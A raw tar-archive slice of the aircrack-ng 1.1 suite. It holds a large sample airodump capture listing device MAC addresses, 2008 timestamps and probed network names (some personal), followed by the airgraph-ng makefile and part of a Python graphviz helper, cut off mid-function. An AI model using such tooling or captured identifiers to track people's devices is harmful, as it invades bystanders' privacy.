00:1E:58:EE:94:DF, David,linksys 00:1E:C2:F3:75:AB, 2008-11-02 22:54:35, 2008-11-05 00:43:57, 13, 590, 00:13:10:E3:BF:C5, 00:1E:4C:46:5B:F0, 2008-11-03 01:02:27, 2008-11-05 00:39:14, 18, 94, 00:1D:7E:16:17:F4, linksys 00:23:6C:7E:54:AA, 2008-11-04 00:35:43, 2008-11-05 00:35:55, 26, 84, 00:1E:52:7A:C4:F8, Base Station 00:19:D2:2D:A7:DF, 2008-11-02 23:23:20, 2008-11-05 00:19:12, 18, 139, 00:1E:2A:50:4F:18, Owner8567,Intel 802.11 Default SSID 00:18:DE:9F:65:CB, 2008-11-04 20:21:59, 2008-11-05 00:07:47, 10, 7, 02:7A:75:47:0E:87, 00:19:7D:18:59:29, 2008-11-02 22:53:58, 2008-11-04 23:46:30, 23, 393, 00:09:5B:6A:C6:30, fischel 00:1E:C2:32:2C:56, 2008-11-02 23:29:35, 2008-11-04 23:11:44, 13, 538, 02:1C:BF:01:AB:84, Martin_Wireless 00:19:1D:FC:18:C4, 2008-11-03 06:22:28, 2008-11-04 23:09:50, 16, 21, 00:09:5B:6A:C6:30, fischel 00:D0:59:C9:E9:BD, 2008-11-03 00:37:48, 2008-11-04 23:08:29, 12, 557, 00:0C:41:49:67:9F, PRISM-SSID 00:16:B6:5A:61:ED, 2008-11-03 21:27:12, 2008-11-04 23:05:04, 20, 1975, 00:18:39:3E:C5:5D, Fundip 00:16:CE:33:FC:36, 2008-11-03 23:37:01, 2008-11-04 23:01:04, 26, 13, 02:2A:C5:BD:0D:44, 00:18:DE:0A:64:C6, 2008-11-02 23:34:05, 2008-11-04 23:01:18, 13, 80, 00:15:E9:16:01:30, Nicole's mommy 00:1B:77:1A:5F:C2, 2008-11-04 01:11:11, 2008-11-04 22:45:00, 18, 10, 00:1B:2F:01:47:02, KD Wireless Net 00:11:F5:50:8B:7D, 2008-11-04 01:03:59, 2008-11-04 22:26:32, 13, 25, 00:1C:10:A8:20:6F, geyerinternet 00:21:E9:3A:88:32, 2008-11-04 22:19:56, 2008-11-04 22:19:56, -1, 1, 00:16:B6:E3:C3:7F, 00:20:00:1B:71:45, 2008-11-02 22:40:41, 2008-11-04 22:17:13, 10, 43, 02:B0:38:5F:0E:51, 00:18:DE:C9:94:0D, 2008-11-04 22:08:30, 2008-11-04 22:08:37, 24, 3, (not associated) , Volun_WiFi 00:18:DE:9F:7E:BA, 2008-11-03 20:05:07, 2008-11-04 22:01:54, 52, 33, (not associated) , Staff_WiFi,NETGEAR 00:13:02:06:73:FB, 2008-11-03 13:41:13, 2008-11-04 21:19:17, 20, 98, 00:1F:33:B3:E3:3E, 101 00:0D:88:67:A9:DD, 2008-11-04 01:05:12, 2008-11-04 21:06:30, -1, 24, 00:1F:33:31:5E:D0, 00:0E:D7:0F:40:7B, 2008-11-04 20:44:36, 2008-11-04 20:45:15, 16, 5, 9E:00:D4:01:DD:02, 00:23:4D:36:C1:19, 2008-11-04 20:28:59, 2008-11-04 20:44:59, 16, 2, (not associated) , 00:1A:73:89:7B:BC, 2008-11-03 15:02:34, 2008-11-04 19:52:33, 13, 19, 00:17:9A:29:20:62, 00:0E:35:97:6F:02, 2008-11-03 08:25:45, 2008-11-04 19:49:42, -1, 2, 00:13:10:E3:26:2F, 00:1B:63:EA:04:17, 2008-11-03 15:46:23, 2008-11-04 19:49:15, 29, 41, (not associated) , 00:0C:41:56:19:49, 2008-11-02 22:41:17, 2008-11-04 19:46:26, 29, 992, 00:1C:10:A8:20:6F, 00:21:E9:DA:E2:9A, 2008-11-03 01:13:46, 2008-11-04 19:43:41, 15, 35, 00:1E:52:F5:3E:D5, Hanuman 00:12:5A:EE:49:58, 2008-11-04 15:26:35, 2008-11-04 19:28:26, 20, 8, 00:1D:7E:16:17:F4, 00:12:F0:B8:5B:DC, 2008-11-02 22:47:45, 2008-11-04 19:15:01, 13, 557, 00:17:9A:48:1B:17, Fenerbahce 00:23:12:CC:0F:C3, 2008-11-04 18:21:04, 2008-11-04 18:21:04, 13, 1, (not associated) , 00:0E:9B:01:23:25, 2008-11-03 02:20:51, 2008-11-04 17:43:49, 10, 15846, 00:1E:58:EE:94:DF, Private,David 00:18:DE:39:57:90, 2008-11-02 22:44:41, 2008-11-04 17:24:32, 15, 719, 00:1B:2F:E8:8D:1A, atown 00:18:DE:C9:99:E6, 2008-11-04 12:16:35, 2008-11-04 17:21:53, 23, 15, (not associated) , Staff_WiFi 00:1C:BF:24:14:29, 2008-11-03 18:34:25, 2008-11-04 17:14:25, 30, 12, (not associated) , Staff_WiFi 00:08:21:31:05:8E, 2008-11-04 16:35:35, 2008-11-04 16:35:42, 41, 6, 82:03:45:03:42:03, 00:0A:B7:4C:BD:98, 2008-11-04 16:35:38, 2008-11-04 16:35:44, 16, 4, 82:03:45:03:42:03, 00:04:4B:14:85:F1, 2008-11-03 11:31:23, 2008-11-04 15:31:44, 20, 28, 00:12:17:3A:B9:78, 00:14:A5:39:CF:CF, 2008-11-04 14:56:21, 2008-11-04 15:19:17, 30, 66, 00:1E:52:7A:C4:F8, Base Station 00:0E:35:FF:4B:53, 2008-11-04 14:48:55, 2008-11-04 14:49:52, 29, 105, 00:0C:41:B0:6D:1A, 00:23:6C:04:C7:2E, 2008-11-03 13:44:27, 2008-11-04 13:42:37, 16, 16, (not associated) , 00:13:E8:A3:A3:AB, 2008-11-03 12:58:02, 2008-11-04 13:28:31, 15, 4, (not associated) , hhonors 00:21:06:9C:05:D2, 2008-11-04 13:27:55, 2008-11-04 13:27:55, 21, 3, (not associated) , @Home 00:12:F0:4A:4C:60, 2008-11-03 23:38:12, 2008-11-04 13:24:36, 23, 7945, 00:10:DB:A0:D6:A1, NS-5GT-Wireless 00:14:A5:39:DC:E6, 2008-11-04 13:23:44, 2008-11-04 13:23:44, 12, 1, (not associated) , 00:23:12:B3:44:95, 2008-11-04 13:12:59, 2008-11-04 13:12:59, 16, 1, (not associated) , 00:1C:B3:0D:2E:42, 2008-11-04 12:43:08, 2008-11-04 12:43:08, 15, 1, (not associated) , 00:1E:52:A5:DD:DD, 2008-11-02 22:54:22, 2008-11-04 12:38:31, 9, 12, 00:16:B6:E3:C3:7F, linksys 00:0B:BE:F1:CA:A2, 2008-11-03 22:43:18, 2008-11-04 12:06:28, 36, 4, (not associated) , Arlington 00:21:E9:83:24:30, 2008-11-04 11:59:46, 2008-11-04 11:59:46, 21, 1, (not associated) , 00:21:E9:87:DC:88, 2008-11-04 11:44:59, 2008-11-04 11:45:01, 16, 2, (not associated) , 00:21:E9:6F:D6:0D, 2008-11-03 00:10:40, 2008-11-04 10:57:00, 52, 373, 00:10:DB:A0:D6:A1, NS-5GT-Wireless 00:11:D9:01:94:ED, 2008-11-04 03:51:23, 2008-11-04 10:56:25, 16, 5, 00:0D:0B:2B:22:AD, hsutree 00:23:6C:37:90:C9, 2008-11-02 23:56:58, 2008-11-04 10:31:18, 21, 140, 00:13:10:A9:FA:DA, HM 00:13:E8:7F:9D:0B, 2008-11-02 22:43:26, 2008-11-04 10:25:57, 16, 489, 00:19:5B:4C:9D:CB, HLnet 00:23:12:8A:EF:2F, 2008-11-03 14:16:41, 2008-11-04 10:21:53, 18, 230, 00:19:5B:4C:9D:CB, HLnet 00:1F:5B:86:20:E2, 2008-11-03 00:21:47, 2008-11-04 09:01:53, 23, 19, (not associated) , Hanuman 00:1E:C2:DA:F0:F0, 2008-11-04 08:10:43, 2008-11-04 08:11:08, 33, 2, (not associated) , 00:21:E9:E1:D7:15, 2008-11-04 00:00:16, 2008-11-04 06:00:25, 18, 1889, 00:17:3F:3A:F0:7E, Finack,linksys 00:0F:66:E7:A3:ED, 2008-11-03 04:16:37, 2008-11-04 05:37:53, -1, 8, 00:13:10:E3:26:2F, 00:1C:B3:0D:64:0F, 2008-11-04 05:17:42, 2008-11-04 05:17:42, -1, 3, 00:16:B6:E3:C3:7F, 00:10:DB:A0:D6:A1, 2008-11-04 03:25:54, 2008-11-04 03:25:56, 92, 2, (not associated) , 00:13:CE:84:9C:2C, 2008-11-03 13:43:58, 2008-11-04 02:16:38, 29, 842, 00:13:10:E3:BF:C5, ,home-net 00:11:F5:0D:98:E5, 2008-11-04 00:20:59, 2008-11-04 01:21:15, 18, 18, (not associated) , Tom 00:1E:52:7A:C4:F8, 2008-11-04 01:05:05, 2008-11-04 01:08:26, 33, 27, (not associated) , Base Station 00:21:D1:09:1F:66, 2008-11-03 23:11:15, 2008-11-03 23:11:15, 18, 1, (not associated) , 00:23:12:B9:17:5E, 2008-11-03 22:53:52, 2008-11-03 22:53:52, 16, 1, (not associated) , 00:1C:B3:68:33:4A, 2008-11-03 21:26:05, 2008-11-03 21:35:42, 12, 28, 4E:ED:40:53:FE:97, 00:0C:F1:14:33:EB, 2008-11-03 18:01:08, 2008-11-03 18:01:09, 20, 5, (not associated) , Staff_WiFi 00:13:CE:ED:F0:86, 2008-11-03 17:19:51, 2008-11-03 17:19:51, 18, 1, (not associated) , Staff_WiFi 00:0A:B7:BB:44:FE, 2008-11-03 16:50:26, 2008-11-03 16:50:29, 30, 4, 72:03:92:02:08:02, 00:02:2D:B2:F2:85, 2008-11-03 10:18:48, 2008-11-03 15:35:03, -1, 3, 00:13:10:E3:26:2F, 00:1C:B3:BF:7D:22, 2008-11-03 14:45:39, 2008-11-03 14:45:42, 26, 3, (not associated) , 00:1F:3A:02:9E:59, 2008-11-03 14:26:38, 2008-11-03 14:26:38, 20, 1, (not associated) , 00:0C:F1:55:DA:BD, 2008-11-03 13:20:15, 2008-11-05 01:43:55, 16, 52, 00:13:10:73:8F:DE, RBGcolors 00:23:12:83:80:B3, 2008-11-03 13:26:27, 2008-11-03 13:30:19, 18, 2, (not associated) , 00:12:F0:36:9A:8D, 2008-11-03 12:26:53, 2008-11-03 12:27:03, 16, 15, 00:16:B6:E3:C3:7F, lighthouse,linksys 00:1B:63:C6:8A:08, 2008-11-03 11:45:08, 2008-11-03 11:45:08, 18, 2, (not associated) , HOMENET3 00:17:AB:5C:DE:3A, 2008-11-02 22:40:40, 2008-11-03 06:20:26, 21, 3903, 00:17:3F:3A:F0:7E, Finack 00:1A:73:55:5E:34, 2008-11-03 04:33:48, 2008-11-03 04:33:48, 10, 1, (not associated) , 00:1D:60:D3:49:E5, 2008-11-02 22:51:31, 2008-11-03 04:03:04, 13, 11, 00:0F:66:2C:A6:5B, 00:06:25:AC:DD:A5, 2008-11-03 03:22:33, 2008-11-03 03:22:33, -1, 1, 00:1C:F0:6B:90:66, 00:19:D2:00:B2:BB, 2008-11-03 00:24:16, 2008-11-03 02:49:16, 35, 3095, 00:13:10:E3:BF:C5, home-net 00:21:E9:91:17:62, 2008-11-03 02:08:20, 2008-11-03 02:08:20, 18, 2, (not associated) , 00:1F:F3:9D:CF:50, 2008-11-03 01:56:29, 2008-11-03 01:56:34, 15, 135, 00:1A:70:F5:FE:9E, 00:19:E3:07:8D:72, 2008-11-02 22:49:03, 2008-11-03 01:31:01, 41, 638, 00:13:10:C6:5D:A4, Morf-Ra 00:21:E9:09:01:7D, 2008-11-03 00:14:07, 2008-11-03 00:14:37, 18, 6, 00:16:B6:E3:C3:7F, linksys 00:1A:73:FE:8B:05, 2008-11-02 23:57:08, 2008-11-02 23:57:08, 13, 1, (not associated) , 00:18:41:AF:8C:26, 2008-11-02 23:45:46, 2008-11-02 23:45:47, 36, 5, (not associated) , HOMENET3 00:23:12:DA:AC:A2, 2008-11-02 23:26:36, 2008-11-02 23:26:36, 18, 1, (not associated) , 00:16:E3:8F:01:EB, 2008-11-02 22:49:12, 2008-11-02 22:49:16, 20, 3, (not associated) , plusnet,shoestring farm 00:1B:77:B0:94:CF, 2008-11-02 22:49:28, 2008-11-02 22:49:28, 13, 1, (not associated) , Martin_Wireless 00:1E:C2:DD:61:80, 2008-11-03 00:08:39, 2008-11-03 00:08:40, 18, 2, (not associated) , 00:1B:77:A9:34:BA, 2008-11-03 01:33:32, 2008-11-03 01:33:32, 15, 2, (not associated) , Ding735Dong 00:11:24:97:97:8A, 2008-11-02 23:16:28, 2008-11-03 01:42:46, -1, 4, 00:1E:52:7A:C4:F8, 00:18:DE:9F:5D:FD, 2008-11-02 23:47:42, 2008-11-03 01:49:21, 18, 8, (not associated) , Boone,AVFRD 00:90:4B:CC:0F:C4, 2008-11-03 01:32:53, 2008-11-03 01:52:49, 16, 10, (not associated) , linksys 00:1E:C2:DF:B1:FD, 2008-11-03 03:21:38, 2008-11-03 03:21:38, -1, 1, 00:16:B6:E3:C3:7F, 00:23:12:6C:3A:74, 2008-11-03 03:20:38, 2008-11-03 03:36:04, 18, 3, 00:0F:66:2C:A6:5B, 00:12:F0:3A:41:3F, 2008-11-03 04:18:09, 2008-11-03 04:18:09, 13, 1, (not associated) , 00:1D:4F:EA:DF:03, 2008-11-03 06:14:39, 2008-11-03 06:14:39, -1, 6, 00:16:B6:E3:C3:7F, 00:17:A4:7A:52:8A, 2008-11-03 01:26:35, 2008-11-03 08:52:09, 10, 9, 00:09:5B:D8:B7:D0, Nedgear 00:18:DE:C9:B6:FB, 2008-11-03 11:07:24, 2008-11-03 11:07:24, 23, 2, (not associated) , Staff_WiFi 00:13:CE:ED:E8:99, 2008-11-03 11:17:23, 2008-11-03 11:17:23, 13, 1, (not associated) , 00:04:23:79:DF:33, 2008-11-03 13:07:32, 2008-11-03 13:07:32, 13, 2, (not associated) , Boingo Hotspot 00:A0:F8:C4:28:D7, 2008-11-03 13:13:58, 2008-11-03 13:14:01, 13, 2, 02:D5:01:C8:28:D7, 00:21:E9:93:6F:B6, 2008-11-03 13:46:11, 2008-11-03 13:46:11, 13, 1, (not associated) , 00:23:12:DA:BD:5E, 2008-11-03 13:49:56, 2008-11-03 13:50:40, 13, 149, 00:16:B6:E3:C3:7F, 00:0E:35:A0:29:75, 2008-11-03 14:03:20, 2008-11-03 14:03:20, 16, 1, (not associated) , 00:30:65:25:74:0E, 2008-11-03 01:42:00, 2008-11-03 14:36:53, 26, 3706, 00:1E:52:7A:C4:F8, 75734b31-3f4d09cd-639675b8-9787,Base Station 00:23:12:8D:2A:FF, 2008-11-03 16:26:16, 2008-11-03 16:26:16, 23, 2, (not associated) , 00:21:E9:4F:87:25, 2008-11-03 16:28:42, 2008-11-03 16:28:42, 16, 1, (not associated) , 00:18:DE:C9:89:FF, 2008-11-02 23:59:36, 2008-11-03 16:33:32, 15, 24, 00:0F:66:2D:A8:21, printz 00:0B:46:F3:41:F3, 2008-11-03 16:50:26, 2008-11-03 16:50:40, 12, 8, 72:03:92:02:08:02, 00:15:70:8D:27:2E, 2008-11-03 15:49:54, 2008-11-03 16:51:20, 24, 5355, (not associated) , 101 00:11:D9:15:80:25, 2008-11-03 18:02:48, 2008-11-03 18:02:48, -1, 1, 00:1D:7E:16:17:F4, 00:0B:46:56:26:5A, 2008-11-03 20:22:05, 2008-11-03 20:22:12, 18, 4, 12:02:DC:02:10:00, 00:08:21:31:77:92, 2008-11-03 20:22:03, 2008-11-03 20:22:11, 23, 7, 12:02:DC:02:10:00, 00:1D:4F:BA:DD:C9, 2008-11-03 21:22:52, 2008-11-03 21:22:52, -1, 1, 00:16:B6:E3:C3:7F, 00:16:CE:19:80:D8, 2008-11-03 22:30:14, 2008-11-03 22:30:14, 20, 1, (not associated) , User 00:1F:3B:00:67:51, 2008-11-03 16:37:39, 2008-11-03 23:05:19, 26, 548, (not associated) , 101,tetrahedron,KSZ05 00:1E:52:A1:5B:C7, 2008-11-03 23:14:55, 2008-11-03 23:14:58, 21, 77, 02:00:BD:65:24:DD, 00:11:D9:19:A6:11, 2008-11-02 22:42:00, 2008-11-04 00:29:36, 32, 4109, 00:1D:7E:47:F6:B2, Gizmo 00:1D:4F:18:0B:43, 2008-11-03 00:28:58, 2008-11-04 01:00:09, 18, 2665, 00:13:10:E3:26:2F, Oasis 00:1B:77:64:63:5A, 2008-11-04 02:02:55, 2008-11-04 02:02:55, 24, 2, (not associated) , Staff_WiFi 00:23:12:84:5A:4E, 2008-11-02 22:41:33, 2008-11-04 02:17:25, 18, 11, (not associated) , 00:19:7E:CC:1B:3D, 2008-11-02 22:51:00, 2008-11-04 02:24:11, 13, 35, (not associated) , mcgrath 00:1D:4F:BE:74:F5, 2008-11-04 02:46:52, 2008-11-04 03:57:22, 15, 16, 00:16:B6:E3:C3:7F, 00:13:46:0D:28:9D, 2008-11-02 22:42:32, 2008-11-04 04:02:02, 26, 194, 00:18:39:3E:C5:5D, 00:1E:E5:27:3F:32, 2008-11-03 00:14:37, 2008-11-04 04:32:42, -1, 15, 00:16:B6:E3:C3:7F, 00:18:DE:C9:AD:56, 2008-11-04 07:05:36, 2008-11-04 07:05:36, 23, 1, (not associated) , Staff_WiFi 00:13:E8:F1:F0:33, 2008-11-03 02:28:00, 2008-11-04 08:02:39, 20, 179, 00:17:3F:3A:F0:7E, Finack 00:18:DE:C9:99:62, 2008-11-04 05:44:10, 2008-11-04 08:04:47, 16, 3, (not associated) , 00:1D:4F:3E:6B:2B, 2008-11-03 00:03:41, 2008-11-04 10:21:31, -1, 44, 00:09:5B:ED:2A:30, 00:23:6C:32:ED:B9, 2008-11-03 02:00:27, 2008-11-04 10:38:45, 29, 11, 00:13:10:A9:FA:DA, 00:13:CE:89:0C:39, 2008-11-04 13:13:35, 2008-11-04 13:13:35, 32, 4, (not associated) , 46yhF3DSnkXC2wI3ofFyhDkleN3oR8Zh 00:1B:63:00:60:C4, 2008-11-03 12:51:31, 2008-11-04 13:53:27, 29, 39, 00:17:3F:3A:F0:7E, Finack 00:1F:5B:55:EE:07, 2008-11-04 14:06:57, 2008-11-04 14:06:57, -1, 1, 00:16:B6:E3:C3:7F, 00:21:E9:0B:F8:AD, 2008-11-04 14:07:26, 2008-11-04 14:07:27, 18, 2, 00:16:B6:E3:C3:7F, 00:21:E9:3D:EB:45, 2008-11-03 06:51:04, 2008-11-04 14:11:19, 23, 1728, 00:17:3F:3A:F0:7E, Finack,linksys 00:1C:F0:93:D4:D6, 2008-11-03 07:36:28, 2008-11-04 15:14:00, 13, 8, (not associated) , Martin_Wireless 00:1B:77:9A:62:1A, 2008-11-02 22:41:42, 2008-11-04 15:19:36, 18, 1528, 00:1D:7E:EF:4E:6F, Molly,Global,AbortSsid 00:21:E9:95:84:C0, 2008-11-03 04:32:01, 2008-11-04 16:02:50, 15, 27, 00:16:B6:E3:C3:7F, linksys 00:23:12:9F:54:87, 2008-11-04 17:10:01, 2008-11-04 17:10:10, 29, 11, 00:16:B6:E3:C3:7F, 00:18:DE:C9:9B:7A, 2008-11-03 17:16:16, 2008-11-04 17:16:12, 30, 10, 00:16:B6:E3:C3:7F, linksys,andy lee 00:13:02:5B:44:D2, 2008-11-02 22:41:26, 2008-11-04 17:36:52, 15, 192, 00:09:5B:D8:B7:D0, Nedgear, 00:23:12:C2:43:0F, 2008-11-04 17:45:33, 2008-11-04 17:45:33, 18, 1, 00:16:B6:E3:C3:7F, 00:0E:35:FB:10:A0, 2008-11-02 22:42:37, 2008-11-04 18:24:58, 24, 696, 00:09:5B:D8:B7:D0, Nedgear 00:D0:59:C8:AC:D4, 2008-11-04 18:34:33, 2008-11-04 18:34:41, 18, 4, (not associated) , 00:0C:F1:5C:BC:48, 2008-11-03 08:28:45, 2008-11-04 20:04:42, -1, 4, 00:13:10:E3:26:2F, 00:22:41:0A:97:B0, 2008-11-04 20:22:47, 2008-11-04 20:22:47, -1, 4, 00:16:B6:E3:C3:7F, 00:13:CE:53:58:5B, 2008-11-04 20:30:54, 2008-11-04 20:30:58, 13, 2, 02:13:CE:00:AD:8D, 00:09:7C:22:6A:EE, 2008-11-04 20:44:55, 2008-11-04 20:44:57, 26, 2, 9E:00:D4:01:DD:02, 00:1B:24:53:3D:A8, 2008-11-04 12:52:31, 2008-11-04 21:17:37, 20, 16, 00:12:17:3A:B9:78, 00:22:41:A0:F6:33, 2008-11-03 23:10:38, 2008-11-04 21:36:43, 23, 344, 00:1E:E5:73:44:DC, njeans 00:16:6F:77:03:61, 2008-11-04 21:41:26, 2008-11-04 21:41:26, 16, 1, (not associated) , linksys_SES_41527 00:11:F5:48:D1:3F, 2008-11-04 21:51:24, 2008-11-04 21:51:24, 21, 4, (not associated) , Wayport_Access,NETGEAR 00:0D:9D:12:BE:A0, 2008-11-04 21:25:01, 2008-11-04 21:58:02, 18, 207, CE:B4:1E:CC:3B:7C, 00:21:E9:06:E7:0C, 2008-11-04 22:12:41, 2008-11-04 22:12:41, 20, 4, 00:16:B6:E3:C3:7F, 00:23:12:A1:E2:75, 2008-11-04 22:42:54, 2008-11-04 22:42:54, 16, 1, (not associated) , 00:1E:8C:3B:D3:40, 2008-11-03 14:36:37, 2008-11-04 22:44:57, -1, 71, 00:14:BF:A3:09:8B, 00:1C:B3:B4:8B:71, 2008-11-03 21:32:11, 2008-11-04 22:47:25, 32, 414, 00:1E:E5:73:44:DC, njeans 00:1D:D9:35:B9:9C, 2008-11-04 22:48:09, 2008-11-04 22:48:09, 10, 1, (not associated) , goskins 00:1C:B3:34:BC:5B, 2008-11-03 22:22:39, 2008-11-04 23:06:45, 18, 18, 00:13:10:88:84:5B, Martin_Wireless 00:11:F5:39:8C:EB, 2008-11-04 11:17:31, 2008-11-04 23:48:42, 16, 266, 00:1E:E5:46:F4:4F, tucker1 00:0E:35:FF:51:EB, 2008-11-04 23:54:10, 2008-11-04 23:54:10, 16, 1, (not associated) , A81U4 00:1D:E0:36:5D:51, 2008-11-03 01:12:09, 2008-11-04 23:56:04, 49, 3591, 00:18:39:3E:C5:5D, Intel 802.11 Default SSID,Fundip 00:1E:4C:B2:F8:DD, 2008-11-03 09:50:40, 2008-11-05 00:08:04, 10, 266, 00:0C:41:BC:B8:D9, Mikeys wireless 00:23:6C:4E:BB:A3, 2008-11-02 22:51:29, 2008-11-05 00:25:33, 29, 265, (not associated) , 00:1E:52:73:57:2C, 2008-11-02 23:42:08, 2008-11-05 00:29:35, 38, 160, 00:13:10:E3:BF:C5, home-net 00:17:FA:69:DE:8A, 2008-11-03 01:32:04, 2008-11-05 00:54:53, 9, 82, 00:09:5B:6A:C6:30, 00:18:DE:9F:91:63, 2008-11-03 22:40:25, 2008-11-05 00:59:25, 24, 9, (not associated) , Staff_WiFi 00:16:CF:A8:BE:07, 2008-11-03 23:17:20, 2008-11-05 01:10:45, 10, 11, (not associated) , XtYr3 00:0F:B5:3F:6B:8F, 2008-11-02 23:47:07, 2008-11-05 01:15:29, 21, 1330, 00:0F:66:6A:3A:C0, godfather 00:0F:66:84:95:DA, 2008-11-02 22:43:30, 2008-11-05 01:20:04, 18, 335, 00:1E:E5:46:F4:4F, tucker1 00:13:CE:3A:FC:13, 2008-11-03 00:16:11, 2008-11-05 01:25:23, 18, 55, 00:0C:41:49:67:9F, Morf-Ra,Shapfam,home-net,wireless 00:11:D9:01:D4:39, 2008-11-03 01:04:07, 2008-11-05 01:26:58, 23, 1384, 00:12:17:3A:B9:78, HOMENET 00:16:CB:BB:AC:1A, 2008-11-02 23:04:52, 2008-11-05 01:43:49, 23, 23, 00:13:10:A9:FA:DA, HM 00:90:4B:96:AE:08, 2008-11-02 22:42:17, 2008-11-05 01:32:02, 18, 222, 00:13:10:C9:DC:C0, jita 00:12:0E:6F:B3:93, 2008-11-03 11:46:59, 2008-11-05 01:35:59, -1, 1407, 00:0C:41:BC:B8:D9, 00:21:E9:5C:86:67, 2008-11-05 01:38:09, 2008-11-05 01:38:09, 21, 1, (not associated) , 00:19:D2:D1:62:46, 2008-11-02 23:25:58, 2008-11-05 01:39:19, 10, 562, (not associated) , 00:1A:E9:83:3D:2B, 2008-11-02 23:12:18, 2008-11-05 01:39:31, 15, 405, 00:12:17:3A:B9:78, HOMENET 00:1F:5B:85:DC:A2, 2008-11-02 23:34:36, 2008-11-05 01:39:29, 21, 508, 00:13:10:A9:FA:DA, HM 00:11:24:A5:61:F3, 2008-11-02 22:40:43, 2008-11-05 01:41:22, 20, 3513, 00:0F:66:6A:3A:C0, godfather 00:1D:0D:56:12:1E, 2008-11-02 23:57:53, 2008-11-05 01:43:03, 13, 5625, 00:17:3F:3A:F0:7E, Finack 00:1A:73:99:3C:6C, 2008-11-02 22:41:30, 2008-11-05 01:42:51, 15, 2138, 00:13:46:08:87:0E, kelvin-d,kevinh 00:19:D2:D3:A8:30, 2008-11-02 22:58:12, 2008-11-05 01:42:52, 15, 140, 00:16:B6:E3:C3:7F, linksys 00:18:F3:E3:15:49, 2008-11-03 23:07:34, 2008-11-05 01:43:31, 16, 946, 00:1C:DF:39:B4:13, Legal EZ 00:0E:35:CA:EB:7A, 2008-11-02 22:45:33, 2008-11-05 01:43:07, 16, 582, 00:09:5B:6A:C6:30, fischel ,101 00:19:7D:05:F7:3A, 2008-11-02 22:41:21, 2008-11-05 01:42:41, 16, 6351, 00:1D:7E:47:F6:B2, Gizmo,kwifi 00:13:CE:25:79:53, 2008-11-02 22:46:44, 2008-11-05 01:42:44, 16, 1528, 00:15:E9:16:01:30, Nicole's mommy,Gizmo 00:22:68:B3:9C:21, 2008-11-02 22:41:16, 2008-11-05 01:43:43, 20, 3169, (not associated) , 00:12:F0:EA:B3:E0, 2008-11-03 02:54:39, 2008-11-05 01:43:57, 16, 4036, 00:1A:70:D1:E9:D6, YaAli 00:0F:B5:BE:A7:DF, 2008-11-02 22:42:47, 2008-11-05 01:43:41, 20, 3573, 00:12:17:3A:B9:78, HOMENET 00:0E:35:75:5B:E6, 2008-11-03 13:57:12, 2008-11-05 01:42:51, 20, 786, 00:17:9A:48:1B:17, Fenerbahce 00:19:D2:3A:2F:31, 2008-11-03 00:47:43, 2008-11-05 01:43:13, 21, 4931, 00:13:10:E3:26:2F, Oasis,linksys 00:1B:77:66:74:E6, 2008-11-03 00:39:01, 2008-11-05 01:43:13, 27, 2285, 00:1D:7E:EF:4E:6F, gwireless,Molly 00:16:44:CE:71:2D, 2008-11-02 22:39:42, 2008-11-05 01:43:31, 27, 2663, 00:0F:66:6A:3A:C0, godfather 00:18:DE:96:36:C8, 2008-11-03 03:16:58, 2008-11-05 01:43:21, 32, 55823, 00:18:F8:1A:DA:A5, Intel 802.11 Default SSID,Saloka,TehTubez 00:1F:3B:5C:D4:79, 2008-11-02 22:39:17, 2008-11-05 01:42:59, 40, 1996, 00:18:F8:1A:DA:A5, Saloka aircrack-ng-1.1/scripts/airgraph-ng/common.mak0000644000000000000000000000032711144205432020100 0ustar rootrootprefix = /usr/local bindir = $(prefix)/bin mandir = $(prefix)/man/man1 datadir = $(prefix)/share docdir = $(datadir)/doc/airgraph-ng libdir = $(prefix)/lib aircrack-ng-1.1/scripts/airgraph-ng/lib/0000755000000000000000000000000011364675642016704 5ustar rootrootaircrack-ng-1.1/scripts/airgraph-ng/lib/lib_Airgraphviz.py0000644000000000000000000001125611153121410022346 0ustar rootroot__author__ = 'Ben "TheX1le" Smith' __email__ = 'thex1le@gmail.com' __website__= 'http://trac.aircrack-ng.org/browser/trunk/scripts/airgraph-ng/' __date__ = '03/02/09' __version__ = '' __file__ = 'lib_Airgraphviz.py' __data__ = 'This library supports airgraph-ng' """ ######################################## # # Airgraph-ng.py --- Generate Graphs from airodump CSV Files # # Copyright (C) 2009 Ben Smith # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ """ Airgraph-ng Support Library """ def apColor(Label,APcolorList): #OLDNAME AP_Label_Color """ Inputs a list containing AP information and the AP color information Returns a graph object that holds AP information (colors and details) TODO: Get sample data for each line? """ APcolor = APcolorList[0] fontColor = APcolorList[1] graph = ['\t','"',Label[0],'"', '[label="',Label[0], '\\nEssid: ',Label[1].rstrip('\x00'), #NULL ESSID is equal to binary space, must remove '\\nChannel: ',Label[2], '\\nEncryption: ',Label[3], '\\nNumber of Clients: ','%s' %(Label[4]), #Check to see if this method is actually needed '"',' style=filled', ' fillcolor="',APcolor, '"',' fontcolor="',fontColor, '"',' fontsize=7','];\n'] return graph def clientColor(mac,color,label=""): #OLDNAME Client_Label_Color """ Creates a label for the client information passed in (mac, color) Returns a graph object TODO: Pass a label in that may hold additional client data that could in turn be written on the client. """ if label == "": label = mac graph = ['\t','"',mac,'"',' [label="',label,'"',' color="',color,'"',' fontsize=7','];\n'] return graph def encryptionColor(enc): #OLDNAME Return_Enc_type """ Take in the encryption used by the AP and return the proper color scheme based on that value. Returns a list containing the AP fill color and AP font color """ fontColor = "black" #Default Font Color to be used if enc == "OPN": color = "firebrick2" elif enc == "WEP": color = "gold2" elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN"]: color = "green3" else: #No AP should ever get to this point as they will either be encrypted or open color = "black" fontColor = "white" APcolorList = (color,fontColor) #OLDNAME colorLS return APcolorList def graphvizLinker(objA,sep,objB): #OLDNAME graphviz_link """ Return a graph object that links 2 objects together. Both objects are passed in with a separator """ graph =['\t','"',objA,'"',sep,'"',objB,'"',';\n'] return graph def dotClose(input,footer): #OLDNAME dot_close """ Close the graphiz config file Return final output to be written """ input.extend(footer) input.append("}") output = ''.join(input) return output def dotWrite(data): #OLDNAME dot_write """ Write all the information obtained to a configuration file """ try: subprocess.Popen(["rm","-rf","airGconfig.dot"]) #Delete the file if it already exists except Exception: pass file = open('airGconfig.dot','a') file.writelines(data) file.close() def subGraph(items,graphName,graphType,tracked,parse): #OLDNAME subgraph """ Create a subgraph based on the incoming values TODO: Figure out what this does and clean it up """ subgraph = ['\tsubgraph cluster_',graphType,'{\n\tlabel="',graphName,'" ;\n'] if 